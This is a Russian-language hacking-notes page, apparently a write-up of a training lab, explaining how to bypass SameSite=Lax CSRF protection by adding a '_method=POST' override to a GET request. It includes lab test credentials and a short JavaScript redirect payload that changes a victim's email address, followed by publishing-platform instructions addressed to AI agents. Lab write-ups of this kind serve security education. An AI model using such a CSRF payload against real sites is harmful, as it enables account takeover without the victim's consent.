> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/csrf/samesite-lax-bypass-via-method-override.md).

# Обход SameSite Lax через подмену метода

### Обход SameSite Lax через переопределение метода

Функция изменения адреса электронной почты в лаборатории уязвима к атаке CSRF. Сайт использует SameSite=Lax, но эту защиту можно обойти, принудительно передав запрос POST через параметр d-override (`&_method=POST`) в URL.

\*\* Цель\*\*/ Разместить полезную нагрузку (эксплойт) на сервере эксплойтов, которая выполняет запрос на изменение адреса электронной почты на имя жертвы, чтобы решить лабораторную работу.

**Учётные данные (тестовая учётная запись)**/ `wiener: peter`

<figure><img src="/files/d5f4d9815ce2b606aae7a1485067c20d641c4e6e" alt=""><figcaption></figcaption></figure>

* GET-запрос к конечной точке изменения e-mail возвращает сообщение о том, что метод не разрешён.
* Добавление `&_method=POST` параметра в URL приводит к тому, что запрос принимается (сайт принимает переопределение, обрабатывая запрос как POST), что позволяет выполнить действие несмотря на SameSite=Lax.

```
&_method=POST
```

<figure><img src="/files/8b2c9c9965fda600b943ee19c8c82b7e98093e61" alt=""><figcaption></figcaption></figure>

#### **Полезная нагрузка сервера эксплойтов**

Следующий скрипт перенаправляет жертву на URL изменения e-mail, включая параметр переопределения, чтобы принудительно использовать POST:

```javascript
<script>
  location="https://0af800380365a127808f0396006100a2.web-security-academy.net/my-account/change-email?email=hacked%40test.com&_method=POST";
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/csrf/samesite-lax-bypass-via-method-override.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
